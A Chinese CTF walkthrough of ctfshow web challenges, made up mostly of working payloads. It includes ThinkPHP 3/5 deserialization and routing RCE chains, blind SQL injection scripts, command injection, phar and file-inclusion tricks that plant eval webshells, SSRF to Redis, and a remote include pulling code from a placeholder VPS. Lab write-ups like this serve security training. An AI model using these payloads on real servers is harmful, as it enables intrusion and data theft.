这题需要拿shell,所以堆叠写入一句话。

<?php

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;

    class Imagick
    {
        private $img;

        public function __construct()
        {
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use  Think\Model;

    class Memcache
    {
        protected $handle;
        public function __construct()
        {
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;

    class Model
    {
        protected $data;
        protected $pk;
        protected $db;

        public function __construct()
        {
            $this->db = new Mysql();
            $this->data['id'] = array(
                "table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/b.php"# ',
                "where" => "1"
            );
            $this->pk = 'id';
        }
    }
}

namespace Think\Db\Driver{
    use PDO;

    class Mysql
    {
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "ctfshow",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

web576

注释注入
$user = M('Users')->comment($id)->find(intval($id));

?id=1*/ into outfile "path/1.php" LINES STARTING BY '<?php eval($_POST[1]);?>'/* 进行写马。

web577

tp3的exp注入,?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,(select group_concat(flag4s) from flags),0x7e),1)

web578

public function index($name='',$from='ctfshow'){
    $this->assign($name,$from);
    $this->display('index');
}

变量覆盖导致命令执行
?name=_content&from=<?php system("cat /flag_is_here ")?>

web579

thinkphp 5.0.15未开启强制路由RCE
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag_is_here

web604

thinkphp 5.1.29未开启强制路由RCE
?s=index/think\request/input?data[]=system('cat /flag_heeeeae')&filter=assert

web605

thinkphp 5.1.29未开启强制路由RCE
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php eval($_POST[1]);?>

web606 - web610

thinkphp 5.1.29未开启强制路由RCE
日志包含
?s=index/\think\Lang/load&file=../../../../../../../../../var/log/nginx/access.log

web611

thinkphp 5.1.38反序列化RCE

POC:

<?php

namespace think\process\pipes{

    use think\model\Pivot;

    class Windows
    {
        private $files = [];
        public function __construct()
        {
            $this->files=[new Pivot()];
        }
    }
}

namespace think\model{
    use think\Model;

    class Pivot extends Model
    {
    }
}

namespace think{
    abstract class Model
    {
        private $data = [];
        private $withAttr = [];
        protected $append = ['so4ms'=>[]];

        public function __construct()
        {
            $this->relation = false;
            $this->data = ['so4ms'=>'cat<>/flag_heeeeae2'];
            $this->withAttr = ['so4ms'=>'system'];
        }
    }
}

namespace {
    use think\process\pipes\Windows;

    $windows = new Windows();
    echo urlencode(serialize($windows))."\n";
}

web611

thinkphp 5.1.38反序列化RCE

0x11 中期测评

web486

打开后url是 http://url/index.php?action=login ,修改一下action,报错提示 Warning: file_get_contents(templates/test.php): failed to open stream:action=../flag 读取flag。

web487

action=../index 读取源码。

SQL查询语句如下,存在SQL注入。
$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";

布尔盲注

import requests

url = "http://42644701-3507-4590-97d6-844a8cbd47eb.challenge.ctf.show:8080/index.php?action=check&username=admin&password=1') or "
i = 0
flag = ''

while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='flag'"
        payload = "select flag from flag"
        data = f"if(ascii(substr(({payload}),{i},1))>{mid},1,0)%23"
        # print(url + data)
        res = requests.get(url + data)
        if 'admin' in res.text:
            start = mid + 1
        else:
            tail = mid
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web488

原来的注入点不能用了。读取其他文件看看。

index.php 中,调用了 templateUtil::render()

if($action=='check'){
    $username=$_GET['username'];
    $password=$_GET['password'];
    $sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
    $user=db::select_one($sql);
    if($user){
        templateUtil::render('index',array('username'=>$username));
    }else{
        templateUtil::render('error',array('username'=>$username));
    }
}

/render/render_class.php 中,这里将传入的username作为参数$cache传入 cache::create_cache ,而 $template 就是 error。

<?php
ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');

class templateUtil {
    public static function render($template,$arg=array()){
        if(cache::cache_exists($template)){
            echo cache::get_cache($template);
        }else{
            $templateContent=fileUtil::read('templates/'.$template.'.php');
            $cache=templateUtil::shade($templateContent,$arg);
            cache::create_cache($template,$cache);
            echo $cache;
        }
    }
    public static  function shade($templateContent,$arg){
        foreach ($arg as $key => $value) {
            $templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
        }
        return $templateContent;
    }

}

再看看 /render/cache_class.php ,将我们传入的username写入 cache/md5($template).php,也就是 cache/cb5e100e5a9a3e7f6d1fd97512215282.php,所以可以username写入一句话木马,然后访问就行了。

public static function create_cache($template,$content){
    if(file_exists('cache/'.md5($template).'.php')){
        return true;
    }else{
        fileUtil::write('cache/'.md5($template).'.php',$content);
    }
}

web489

在登录失败的情况下调用 templateUtil::render 不会带上username了,但是 extract($_GET); 存在变量覆盖,可以修改 $sql 执行任意SQL语句。

if($action=='check'){
    $sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
    extract($_GET);
    $user=db::select_one($sql);
    if($user){
        templateUtil::render('index',array('username'=>$username));
    }else{
        templateUtil::render('error');
    }
}

访问 http://url/index.php?action=check&sql=select id from user order by id limit 1&username=<?php eval($_POST[1]);?>&password=123 覆盖掉 $sql$username ,使得登陆成功可以将一句话木马放在username中传入 templateUtil::render ,访问 /cache/6a992d5529f459a44fee58c733255e86.php 即可执行命令。

web490

这里的username可以进行注入。

if($action=='check'){
    extract($_GET);
    $sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
    $user=db::select_one($sql);
    if($user){
        templateUtil::render('index',array('username'=>$user->username));
    }else{
        templateUtil::render('error');
    }
}

?action=check&username=' union select '`cat /f*`'%23&password=123 然后访问 /cache/6a992d5529f459a44fee58c733255e86.php

web491

这下登陆成功也不会写入username了,那就读取flag文件到 /tmp 目录下然后读取。

?action=check&username=1' union select load_file("/flag") into dumpfile '/tmp/1.php'%23&password=123

web492

这里可以直接绕过 $sql$user的赋值,可以变量覆盖。

if($action=='check'){
    extract($_GET);
    if(preg_match('/^[A-Za-z0-9]+$/', $username)){
        $sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
        $user=db::select_one_array($sql);
    }
    if($user){
        templateUtil::render('index',$user);
    }else{
        templateUtil::render('error');
    }
}

写入一句话。访问/cache/6a992d5529f459a44fee58c733255e86.php
?action=check&user[username]=<?php eval($_POST[1]); ?>

web493

这里会读取cookie中的user,然后进行反序列化,猜测可能存在反序列化漏洞。

if(!isset($action)){
    if(isset($_COOKIE['user'])){
        $c=$_COOKIE['user'];
        $user=unserialize($c);
        if($user){
            templateUtil::render('index');
        }else{
            header('location:index.php?action=login');
        }
    }else{
        header('location:index.php?action=login');
    }
    die();
}

读取 render/db_class.php,发现 dbLog 存在 __destruct() 方法,可以进行写文件操作,直接写入一句话木马或者读取flag写入都可以。

class dbLog{
    public $sql;
    public $content;
    public $log;

    public function __construct(){
        $this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
    }
    public function log($sql){
        $this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
    }
    public function __destruct(){
        file_put_contents($this->log, $this->content,FILE_APPEND);
    }
}

POC:

<?php
class dbLog
{
    public $sql;
    public $content;
    public $log;

    public function __construct()
    {
        $this->log='1.php';
        $this->content="<?php system('cat /f*');?>";
    }
}

echo urlencode(serialize(new dbLog));

web494

同上一题,写入一句话,然后蚁剑连接数据库,flag在数据库中。

<?php
class dbLog
{
    public $sql;
    public $content;
    public $log;

    public function __construct()
    {
        $this->log='1.php';
        $this->content='<?php eval($_POST[1]);?>';
    }
}

echo urlencode(serialize(new dbLog));

web495

同上

web496

1'||1# 万能密码登录进入后台。

查看源码找到url /api/admin_edit.php ,查看一下该文件的源码。

$user['username'] 可控且长度没有限制,进行SQL注入。

if($user){
    extract($_POST);
    $sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
    $db=new db();
    if($db->update_one($sql)){
        $_SESSION['user']['nickname']=$nickname;
        $ret['msg']='管理员信息修改成功';
    }else{
        $ret['msg']='管理员信息修改失败';
    }
    die(json_encode($ret));

}else{
    $ret['msg']='请登录后使用此功能';
    die(json_encode($ret));
}

脚本

import requests

url_login = 'http://007326e3-8f2b-4912-ae5c-03287ec3ac79.challenge.ctf.show:8080/index.php?action=check'
url = "http://007326e3-8f2b-4912-ae5c-03287ec3ac79.challenge.ctf.show:8080/api/admin_edit.php"
i = 0
flag = ''

data = {
    'action': 'check',
    'username': "1'||1#",
    'password': '1'
}
session = requests.session()
session.post(url_login, data=data)

data = {
    'user[username]': '',
    'nickname': ''
}

while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'"
        payload = "select  flagisherebutyouneverknow118 from flagyoudontknow76"
        name = f"1'||if(ascii(substr(({payload}),{i},1))>{mid},1,0)#"
        data['user[username]'] = name
        data['nickname'] = str(i * 2) + str(mid)
        res = session.post(url, data=data)
        if 'u529f' in res.text:
            start = mid + 1
        else:
            tail = mid
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web497

资料修改处,图片修改是一个url,然后存的是图片的base64编码,试试ssrf。

file:///flag 直接读flag。

web498

还是在之前的传图片处,用dict协议探测一下6379端口。
dict://127.0.0.1:6379

显示如下,6379端口开放,试试打redis

-ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY)
+OK

用gopherus生成POC直接打。

web499

多了一个系统配置,找到一个url接口 api/admin_settings.php

会读取/config/settings.php,对数据进行反序列化,然后将我们传入的数据对其进行修改,最后写入文件。由于这里是PHP文件,且没有过滤,直接写入一句话即可。

$user= $_SESSION['user'];
if($user){
    $config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
    foreach ($_POST as $key => $value) {
        $config[$key]=$value;
    }
    file_put_contents(__DIR__.'/../config/settings.php', serialize($config));
    $ret['msg']='管理员信息修改成功';
    die(json_encode($ret));

}else{
    $ret['msg']='请登录后使用此功能';
    die(json_encode($ret));
}

web500

多了一个数据库备份,看一下接口 /api/admin_db_backup.php

先进行备份,然后访问 /backup/db.sql 进行下载但是里面没找到flag,试一下命令执行。

if($user){
    extract($_POST);
    shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);

    if(file_exists(__DIR__.'/../backup/'.$db_path)){
        $ret['msg']='数据库备份成功';
    }else{
        $ret['msg']='数据库备份失败';
    }
    die(json_encode($ret));

}else{
    $ret['msg']='请登录后使用此功能';
    die(json_encode($ret));
}

命令拼接写一句话就行了 db_path=db.sql;echo '<?php eval($_POST[1]);?>' > '/var/www/html/1.php'

web501

对传入的参数加入了正则匹配,但是只要是满足zip开头、包含tar、sql结尾都能满足条件可以拼接命令。

if(preg_match('/^zip|tar|sql$/', $db_format)){
    shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
    if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){
        $ret['msg']='数据库备份成功';
    }else{
        $ret['msg']='数据库备份失败';
    }
}else{
    $ret['msg']='数据库备份失败';
}

db_format=zip;echo '<?php eval($_POST[1]);?>' > '/var/www/html/1.php'

web502

正则加强了不能绕过,但是 $pre 事先定义好了,之后又执行了 extract($_POST) ,可以变了覆盖进行命令拼接。

$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';

if($user){
    extract($_POST);
    if(file_exists($pre.$db_format)){
            $ret['msg']='数据库备份成功';
            die(json_encode($ret));
    }

    if(preg_match('/^(zip|tar|sql)$/', $db_format)){
        shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
        if(file_exists($pre.$db_format)){
            $ret['msg']='数据库备份成功';
        }else{
            $ret['msg']='数据库备份失败';
        }
    }else{
        $ret['msg']='数据库备份失败';
    }
    die(json_encode($ret));

}

db_format=sql&pre=1.sql;echo '<?php eval($_POST[1]);?>' > '/var/www/html/1.php';

web503

备份处这里用了md5将我们传入的参数进行hash,然后下面判断文件是否存在的 file_exists($pre.$db_format) 又没有md5,不能进行命令拼接了。

    if(preg_match('/^(zip|tar|sql)$/', $db_format)){
        shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));
        if(file_exists($pre.$db_format)){
            $ret['msg']='数据库备份成功';
        }else{
            $ret['msg']='数据库备份失败';
        }
    }else{
        $ret['msg']='数据库备份失败';
    }

而系统配置处有了文件上传的功能,可以上传图片文件,通过修改 content-type 可以绕过,但是不能上传PHP文件,结合数据库备份处新增的 file_exists ,可以使用phar反序列化。

<?php
class dbLog
{
    public $sql;
    public $content="<?php eval(\$_POST[1]);?>";
    public $log="a.php";
}

$c=new dbLog();

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->addFromString("a", "a");
$phar->stopBuffering();

然后在 /api/admin_db_backup.php 处传参 pre=phar:///var/www/html/img&db_format=/d7f4be9d064bac5fd42207b3d7efe102.phar ,一句话就写入a.php了。

web504

不能查看PHP文件内容了。

后台多了个模板,还能添加模板。

先试一下添加 1.txt ,内容随便填,然后访问 url/templates/1.txt ,发现写入成功。但是不能写入PHP文件。那就得考虑写入现有的不是PHP的文件,之前的 /config/settings 文件不是PHP文件,且其中内容会进行反序列化,所以我们可以将DBLog的序列化写入进行反序列化rce。

目录穿越向 ../../../../../../../../var/www/html/config/settings 写入 O:5:"dbLog":3:{s:3:"sql";N;s:7:"content";s:26:"<?php system('cat /f*');?>";s:3:"log";s:5:"1.php";} 然后访问1.php即可。

web505

可以在文件查看处查看文件内容,且存在目录穿越。

查看一下 api/admin_file_view.php ,也就是该页面的接口,发现当文件内容以user开头时存在文件包含,于是我们可以将一句话写入模板,然后进行包含。

    extract($_POST);
    if($debug==1 && preg_match('/^user/', file_get_contents($f))){
        include($f);
    }else{
        $ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
    }

然后访问 /api/admin_file_view.php 传参 f=/var/www/html/templates/new.sml&debug=1&1=system('cat /flag_is_here_aabbcc '); 即可。

web506

过滤了后缀名,和上一题一样,添加模板随意改个后缀名就行了。

$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
    $ret['msg']='请不要使用此功能';
    die(json_encode($ret));
}

web507

查看一下 api/admin_templates.php 的内容,发现加了过滤。一句话写不进去了。

case 'upload':
    extract($_POST);
    if(!preg_match('/php|phar|ini|settings/i', $name))
    {
        if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
            $ret['msg']='文件上传失败';
        }else{
            file_put_contents(__DIR__.'/../templates/'.$name, $content);
            $ret['msg']='文件上传成功';
        }

    }else{
        $ret['msg']='文件上传失败';
    }
    break;

找不到文件写了那就用data伪协议。f=data://text/plain,user<?php eval($_POST[1]);?>&debug=1&1=system('cat /flag_is_here_dota');

web508

data伪协议被ban了,可以在上传logo处上传文件,内容为一句话,然后同上 f=./../../../../../../../../../../var/www/html/img/f3ccdd27d2000e3f9255a7e3e2c48800.jpg&debug=1&1=system('cat /flag_is_here_dota2 ');

web509

logo上传处内容过滤了php,短标签绕过即可。

web510

前面的都过滤了,居然session的开头是user,../../../../../../../../../../../../tmp/sess_npdtpucgiluj0j6cjm6bvkskl7user|a:3:{s:8:"username";s:5:"admin";s:8:"nickname";s:6:"大牛";s:6:"avatar";s:67:"http://pic3.zhimg.com/50/v2-1c86b2511805e85d157b94266be12672_hd.jpg";}

修改资料修改nickname为一句话,然后和之前一样,包含session文件就行了。

web511

可以使用模板。

在index.php中,action为view时,调用 templateUtil::render($_GET['page'],$user);$user 就是个人信息。

case 'view':
    $user=$_SESSION['user'];
    if($user){
        templateUtil::render($_GET['page'],$user);
    }else{
        header('location:index.php?action=login');
    }
    break;

render/render_class.php 中,可以看到会输出模板文件的内容,然后函数 shade 会对模板中的键值进行替换,在 checkVar 中还存在eval执行代码进行赋值替换,我们可以借此执行命令。

public static function render($template,$arg=array()){
    $templateContent=fileUtil::read('templates/'.$template.'.sml');
    $cache=templateUtil::shade($templateContent,$arg);
    echo $cache;
}
public static  function shade($templateContent,$arg=array()){
    $templateContent=templateUtil::checkImage($templateContent,$arg);
    $templateContent=templateUtil::checkConfig($templateContent);
    $templateContent=templateUtil::checkVar($templateContent,$arg);
    foreach ($arg as $key => $value) {
        $templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
    }
    return $templateContent;
}
public static function checkVar($templateContent,$arg){
    foreach ($arg as $key => $value) {
        if(stripos($templateContent, '{{var:'.$key.'}}')){
            eval('$v='.$value.';');
            $templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
        }
    }
    return $templateContent;
}

新建一个模板,内容为 aa{{var:nickname}},然后修改nickname为
``` `cat /flag*` ``` ,访问 `url/index.php?action=view&page=new` 即可。

web512

web513

可以从cnzz中读取一个文件名,然后读取文件内容,包含读取的文件内容。

public static function checkFoot($templateContent){
    if ( stripos($templateContent, '{{cnzz}}')) {
        $config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
        $foot = $config['cnzz'];
        if(is_file($foot)){
            $foot=file_get_contents($foot);
            include($foot);
        }
    }
    return $templateContent;
}

这里先新建一个模板,内容为 https://your-vps/1.txt ,内容为要执行的代码。

然后新建一个模板,内容为 aaa{{cnzz}} ,然后访问 url/index.php?action=view&page=2 就能执行命令了。